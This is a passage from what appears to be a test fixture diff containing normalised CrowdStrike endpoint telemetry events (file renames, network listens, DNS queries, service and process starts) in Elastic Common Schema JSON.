"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "port": 49689 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:06:53.224Z", + "crowdstrike": { + "ConfigStateHash": "1789338890", + "ContextProcessId": "321382909294815631", + "ContextTimeStamp": "2020-11-08T16:42:35.987Z", + "Entitlements": "15", + "SHA256HashData": "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583", + "TargetFileName": "/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8773-06939a2f0915", + "name": "NewExecutableRenamedMacV1" + }, + "device": { + "id": "ffffffffc07b49d6b7426e970523671a" + }, + "event": { + "action": "NewExecutableRenamed", + "category": [ + "file" + ], + "created": "2020-11-08T17:06:53.224Z", + "id": "ffffffff-1111-11eb-8773-06939a2f0915|ffffffffc07b49d6b7426e970523671a|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ContextProcessId\":\"321382909294815631\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604853755.987\",\"Entitlements\":\"15\",\"SHA256HashData\":\"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583\",\"Size\":\"165\",\"SourceFileName\":\"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq\",\"TargetFileName\":\"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478\",\"aid\":\"ffffffffc07b49d6b7426e970523671a\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NewExecutableRenamed\",\"id\":\"ffffffff-1111-11eb-8773-06939a2f0915\",\"name\":\"NewExecutableRenamedMacV1\",\"timestamp\":\"1604855213224\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "Ext": { + "original": { + "name": ".dat.nosync2c98.VBwjsq", + "path": "/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq" + } + }, + "directory": "/Library/Application Support/JAMF/tmp", + "hash": { + "sha256": "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583" + }, + "name": "6B24D2B6-BC17-4470-8078-91A787A19478", + "path": "/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478", + "size": 165, + "type": "file" + }, + "host": { + "id": "ffffffffc07b49d6b7426e970523671a", + "os": { + "type": "macos" + } + }, + "message": "NewExecutableRenamed", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffc07b49d6b7426e970523671a", + "version": "1007.4.0011104.1" + }, + "process": { + "entity_id": "321382909294815631", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583", + "1789338890" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:07:48.755Z", + "crowdstrike": { + "ConfigStateHash": "203564169", + "ConnectionFlags": "0", + "ContextProcessId": "321367236803434269", + "ContextTimeStamp": "2020-11-08T17:07:48.323Z", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP6": [ + "0:0:0:0:0:0:0:0" + ], + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9a50-0669ff09604d", + "name": "NetworkListenIP6MacV5" + }, + "destination": { + "address": "0:0:0:0:0:0:0:0", + "ip": "0:0:0:0:0:0:0:0", + "port": 0 + }, + "device": { + "id": "ffffffffa60a47af4ebd2a76070f0d4f" + }, + "event": { + "action": "NetworkListenIP6", + "category": [ + "network" + ], + "created": "2020-11-08T17:07:48.755Z", + "id": "ffffffff-1111-11eb-9a50-0669ff09604d|ffffffffa60a47af4ebd2a76070f0d4f|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"203564169\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321367236803434269\",\"ContextTimeStamp\":\"1604855268.323\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"LocalPort\":\"51076\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffa60a47af4ebd2a76070f0d4f\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkListenIP6\",\"id\":\"ffffffff-1111-11eb-9a50-0669ff09604d\",\"name\":\"NetworkListenIP6MacV5\",\"timestamp\":\"1604855268755\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffffa60a47af4ebd2a76070f0d4f", + "os": { + "type": "macos" + } + }, + "message": "NetworkListenIP6", + "network": { + "direction": "outbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffa60a47af4ebd2a76070f0d4f", + "version": "1007.4.0011104.1" + }, + "process": { + "entity_id": "321367236803434269" + }, + "related": { + "hash": [ + "203564169" + ], + "ip": [ + "67.43.156.14", + "0:0:0:0:0:0:0:0" + ] + }, + "source": { + "address": "0:0:0:0:0:0:0:0", + "ip": "0:0:0:0:0:0:0:0", + "port": 51076 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:08:43.217Z", + "crowdstrike": { + "ConfigStateHash": "3765958535", + "ContextProcessId": "1611521722601", + "ContextTimeStamp": "2020-11-08T17:08:00.307Z", + "DualRequest": "0", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InterfaceIndex": 0, + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-885e-02ac336efd4b", + "name": "SuspiciousDnsRequestV2" + }, + "device": { + "id": "ffffffff6d724d38af99c628fb904626" + }, + "dns": { + "question": { + "name": "raw.githubusercontent.com", + "registered_domain": "githubusercontent.com", + "subdomain": "raw", + "top_level_domain": "com", + "type": "A" + }, + "type": "query" + }, + "event": { + "action": "SuspiciousDnsRequest", + "category": [ + "network" + ], + "created": "2020-11-08T17:08:43.217Z", + "id": "ffffffff-1111-11eb-885e-02ac336efd4b|ffffffff6d724d38af99c628fb904626|ffffffff30a3407dae27d0503611022d", + "kind": "alert", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ContextProcessId\":\"1611521722601\",\"ContextThreadId\":\"53405065993811\",\"ContextTimeStamp\":\"1604855280.307\",\"DomainName\":\"raw.githubusercontent.com\",\"DualRequest\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InterfaceIndex\":\"0\",\"RequestType\":\"1\",\"aid\":\"ffffffff6d724d38af99c628fb904626\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"SuspiciousDnsRequest\",\"id\":\"ffffffff-1111-11eb-885e-02ac336efd4b\",\"name\":\"SuspiciousDnsRequestV2\",\"timestamp\":\"1604855323217\"}", + "outcome": "success", + "type": [ + "start", + "protocol" + ] + }, + "host": { + "id": "ffffffff6d724d38af99c628fb904626", + "os": { + "type": "windows" + } + }, + "message": "SuspiciousDnsRequest", + "network": { + "protocol": "dns" + }, + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff6d724d38af99c628fb904626", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1611521722601", + "thread": { + "id": 53405065993811 + } + }, + "related": { + "hash": [ + "3765958535" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:08:49.102Z", + "crowdstrike": { + "ContextProcessId": "4492535979973", + "ContextTimeStamp": "2020-11-08T17:08:35.034Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "VolumeDeviceCharacteristics": "131072", + "VolumeDeviceObjectFlags": "134479872", + "VolumeDeviceType": "8", + "VolumeDriveLetter": "C:", + "VolumeFileSystemDevice": "\\Ntfs", + "VolumeFileSystemDriver": "\\FileSystem\\Ntfs", + "VolumeFileSystemType": "2", + "VolumeIsEncrypted": "0", + "VolumeMountPoint": "\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}", + "VolumeName": "\\Device\\HarddiskVolume4", + "VolumeRealDeviceName": "\\Device\\HarddiskVolume4", + "VolumeSectorSize": "512", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9be9-024459b713c5", + "name": "FsVolumeMountedV6" + }, + "device": { + "id": "ffffffff1990483499a736373600eef7" + }, + "event": { + "action": "FsVolumeMounted", + "category": [ + "host" + ], + "created": "2020-11-08T17:08:49.102Z", + "id": "ffffffff-1111-11eb-9be9-024459b713c5|ffffffff1990483499a736373600eef7|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"100.3.0011603.1\",\"ContextProcessId\":\"4492535979973\",\"ContextThreadId\":\"14023068415125\",\"ContextTimeStamp\":\"1604855315.034\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_8086\\u0026DEV_31E3\\u0026SUBSYS_080C1028\\u0026REV_03\\\\3\\u002611583659\\u00260\\u002690\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeDeviceCharacteristics\":\"131072\",\"VolumeDeviceObjectFlags\":\"134479872\",\"VolumeDeviceType\":\"8\",\"VolumeDriveLetter\":\"C:\",\"VolumeFileSystemDevice\":\"\\\\Ntfs\",\"VolumeFileSystemDriver\":\"\\\\FileSystem\\\\Ntfs\",\"VolumeFileSystemType\":\"2\",\"VolumeIsEncrypted\":\"0\",\"VolumeMountPoint\":\"\\\\??\\\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeRealDeviceName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeSectorSize\":\"512\",\"aid\":\"ffffffff1990483499a736373600eef7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeMounted\",\"id\":\"ffffffff-1111-11eb-9be9-024459b713c5\",\"name\":\"FsVolumeMountedV6\",\"timestamp\":\"1604855329102\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "device": "PCI\\VEN_8086&DEV_31E3&SUBSYS_080C1028&REV_03\\3&11583659&0&90" + }, + "host": { + "id": "ffffffff1990483499a736373600eef7", + "os": { + "type": "windows" + } + }, + "message": "FsVolumeMounted", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff1990483499a736373600eef7", + "version": "100.3.0011603.1" + }, + "process": { + "entity_id": "4492535979973", + "thread": { + "id": 14023068415125 + } + }, + "related": { + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:28.936Z", + "crowdstrike": { + "ConfigStateHash": "1789338890", + "ConnectionFlags": "0", + "ContextProcessId": "321210562584146513", + "ContextTimeStamp": "2020-11-08T17:05:27.011Z", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "127.0.0.1" + ], + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-ae74-065212970c5d", + "name": "NetworkListenIP4MacV5" + }, + "destination": { + "address": "0.0.0.0", + "ip": "0.0.0.0", + "port": 0 + }, + "device": { + "id": "ffffffffe5ff467b4f0c4fd41a4462bb" + }, + "event": { + "action": "NetworkListenIP4", + "category": [ + "network" + ], + "created": "2020-11-08T17:05:28.936Z", + "id": "ffffffff-1111-11eb-ae74-065212970c5d|ffffffffe5ff467b4f0c4fd41a4462bb|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321210562584146513\",\"ContextTimeStamp\":\"1604855127.011\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"127.0.0.1\",\"LocalPort\":\"53\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"0.0.0.0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffe5ff467b4f0c4fd41a4462bb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkListenIP4\",\"id\":\"ffffffff-1111-11eb-ae74-065212970c5d\",\"name\":\"NetworkListenIP4MacV5\",\"timestamp\":\"1604855128936\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffffe5ff467b4f0c4fd41a4462bb", + "os": { + "type": "macos" + } + }, + "message": "NetworkListenIP4", + "network": { + "direction": "outbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffe5ff467b4f0c4fd41a4462bb", + "version": "1007.4.0011104.1" + }, + "process": { + "entity_id": "321210562584146513" + }, + "related": { + "hash": [ + "1789338890" + ], + "ip": [ + "67.43.156.14", + "127.0.0.1", + "0.0.0.0" + ] + }, + "source": { + "address": "127.0.0.1", + "ip": "127.0.0.1", + "port": 53 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:06:24.068Z", + "crowdstrike": { + "AuthenticationId": "999", + "ConfigStateHash": "3338885535", + "ContextTimeStamp": "2020-11-08T17:06:25.108Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InterfaceGuid": "367ABB81-9844-35F1-AD32-98F038001003", + "InterfaceVersion": "131072", + "RpcClientProcessId": "219053851298", + "RpcClientThreadId": "22047924482692", + "RpcNestingLevel": "0", + "RpcOpNum": "19", + "TargetThreadId": "22920092479704", + "TokenType": "1", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-860c-0606af112d55", + "name": "HostedServiceStartedV2" + }, + "device": { + "id": "ffffffff59514ea68b4693ddfb9b6643" + }, + "event": { + "action": "HostedServiceStarted", + "category": [ + "process" + ], + "created": "2020-11-08T17:06:24.068Z", + "id": "ffffffff-1111-11eb-860c-0606af112d55|ffffffff59514ea68b4693ddfb9b6643|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"999\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextTimeStamp\":\"1604855185.108\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\System32\\\\gpsvc.dll\",\"InterfaceGuid\":\"367ABB81-9844-35F1-AD32-98F038001003\",\"InterfaceVersion\":\"131072\",\"RpcClientProcessId\":\"219053851298\",\"RpcClientThreadId\":\"22047924482692\",\"RpcNestingLevel\":\"0\",\"RpcOpNum\":\"19\",\"ServiceDisplayName\":\"gpsvc\",\"TargetProcessId\":\"224116976578\",\"TargetThreadId\":\"22920092479704\",\"TokenType\":\"1\",\"UserName\":\"user7\",\"aid\":\"ffffffff59514ea68b4693ddfb9b6643\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostedServiceStarted\",\"id\":\"ffffffff-1111-11eb-860c-0606af112d55\",\"name\":\"HostedServiceStartedV2\",\"timestamp\":\"1604855184068\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffff59514ea68b4693ddfb9b6643", + "os": { + "type": "windows" + } + }, + "message": "HostedServiceStarted", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff59514ea68b4693ddfb9b6643", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "224116976578", + "executable": "\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll", + "name": "gpsvc.dll", + "title": "gpsvc" + }, + "related": { + "hash": [ + "3338885535" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "user7" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "user7" + } + }, + { + "@timestamp": "2020-11-08T17:08:22.512Z", + "crowdstrike": { + "ConfigStateHash": "3338885535", + "ContextTimeStamp": "2020-11-08T17:08:19.018Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "TargetThreadId": "24238019995551", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9b11-0602a5689467", + "name": "HostedServiceStoppedV1" + }, + "device": { + "id": "ffffffff2b5a4bf5afc6682595faa016" + }, + "event": { + "action": "HostedServiceStopped", + "category": [ + "process" + ], + "created": "2020-11-08T17:08:22.512Z", + "id": "ffffffff-1111-11eb-9b11-0602a5689467|ffffffff2b5a4bf5afc6682595faa016|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextTimeStamp\":\"1604855299.018\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ServiceDisplayName\":\"wuauserv\",\"TargetProcessId\":\"661455186053\",\"TargetThreadId\":\"24238019995551\",\"aid\":\"ffffffff2b5a4bf5afc6682595faa016\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostedServiceStopped\",\"id\":\"ffffffff-1111-11eb-9b11-0602a5689467\",\"name\":\"HostedServiceStoppedV1\",\"timestamp\":\"1604855302512\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "ffffffff2b5a4bf5afc6682595faa016", + "os": { + "type": "windows" + } + }, + "message": "HostedServiceStopped", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff2b5a4bf5afc6682595faa016", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "661455186053", + "title": "wuauserv" + }, + "related": { + "hash": [ + "3338885535" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:07:44.313Z", + "crowdstrike": { + "AuthenticationId": "3443175", + "ConfigStateHash": "3338885535", + "ContextProcessId": "1091372257857", + "ContextTimeStamp": "2020-11-08T17:07:07.625Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileEcpBitmask": "0", + "FileObject": "18446603341701082336", + "IrpFlags": "1028", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "MajorFunction": "18", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-baea-02dccfbb7779", + "name": "PdfFileWrittenV11" + }, + "device": { + "id": "ffffffff32cb4abc50bc133b31a69946" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2020-11-08T17:07:44.313Z", + "id": "ffffffff-1111-11eb-baea-02dccfbb7779|ffffffff32cb4abc50bc133b31a69946|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"3443175\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"1091372257857\",\"ContextThreadId\":\"36855848099771\",\"ContextTimeStamp\":\"1604855227.625\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_1179\\u0026DEV_0113\\u0026SUBSYS_00011179\\u0026REV_01\\\\4\\u00263ad42678\\u00260\\u002600E0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100\",\"FileObject\":\"18446603341701082336\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"288041\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\user12\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\\\TempState\\\\Downloads\\\\ex.pdf.8e41hf8.partial\",\"TokenType\":\"1\",\"aid\":\"ffffffff32cb4abc50bc133b31a69946\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"PdfFileWritten\",\"id\":\"ffffffff-1111-11eb-baea-02dccfbb7779\",\"name\":\"PdfFileWrittenV11\",\"timestamp\":\"1604855264313\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "PCI\\VEN_1179&DEV_0113&SUBSYS_00011179&REV_01\\4&3ad42678&0&00E0", + "directory": "\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads", + "extension": "partial", + "inode": "f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100", + "name": "ex.pdf.8e41hf8.partial", + "path": "\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial", + "size": 288041, + "type": "file" + }, + "host": { + "id": "ffffffff32cb4abc50bc133b31a69946", + "os": { + "type": "windows" + } + }, + "message": "PdfFileWritten", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff32cb4abc50bc133b31a69946", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1091372257857", + "thread": { + "id": 36855848099771 + } + }, + "related": { + "hash": [ + "3338885535" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:06:22.022Z", + "crowdstrike": { + "AuthenticationId": "3783389", + "ConfigStateHash": "3998263252", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ImageSubsystem": "2", + "IntegrityLevel": "4096", + "MD5HashData": "50d5fd1290d94d46acca0585311e74d5", + "ParentAuthenticationId": "3783389", + "ProcessCreateFlags": "525332", + "ProcessParameterFlags": "16385", + "ProcessSxsFlags": "1600", + "RpcClientProcessId": "2439558094566", + "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", + "SessionId": "1", + "SourceProcessId": "2439558094566", + "SourceThreadId": "77538684027214", + "Tags": [ + "41", + "12094627905582", + "12094627906234" + ], + "TokenType": "2", + "WindowFlags": "128", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8462-02ade3b2f949", + "name": "ProcessRollup2V18" + }, + "device": { + "id": "ffffffff655344736aca58d17fb570f0" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2020-11-08T17:06:22.022Z", + "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1604855182022\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffff655344736aca58d17fb570f0", + "os": { + "type": "windows" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff655344736aca58d17fb570f0", + "version": "1007.3.0012309.1" + }, + "process": { + "Ext": { + "token": { + "integrity_level_name": "LOW" + } + }, + "args": [ + "C:\\WINDOWS\\system32\\backgroundTaskHost.exe", + "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca" + ], + "args_count": 2, + "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca", + "entity_id": "2450046082233", + "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe", + "hash": { + "md5": "50d5fd1290d94d46acca0585311e74d5", + "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37" + }, + "name": "backgroundTaskHost.exe", + "parent": { + "entity_id": "2439558094566", + "name": "svchost.exe" + }, + "pid": 22272, + "start": "2020-11-08T17:06:21.648Z" + }, + "related": { + "hash": [ + "50d5fd1290d94d46acca0585311e74d5", + "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", + "3998263252" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "S-1-12-1-3697283754-1083485977-2164330645-2516515886" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886" + } + }, + { + "@timestamp": "2020-11-08T17:09:15.388Z", + "crowdstrike": { + "AuthenticationId": "326190744", + "AuthenticationUuid": "98467113-C771-4845-B71B-89B3CE9F93C9", + "AuthenticationUuidAsString": "13714698-71C7-4548-B71B-89B3CE9F93C9", + "ConfigStateHash": "1457965279", + "Entitlements": "15", + "UserSid": "S-1-5-21-3629339319-2376021926-2724479216-652382488", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b", + "name": "UserIdentityMacV2" + }, + "device": { + "id": "ffffffff1f32487185fcde66a9dc0528" + }, + "event": { + 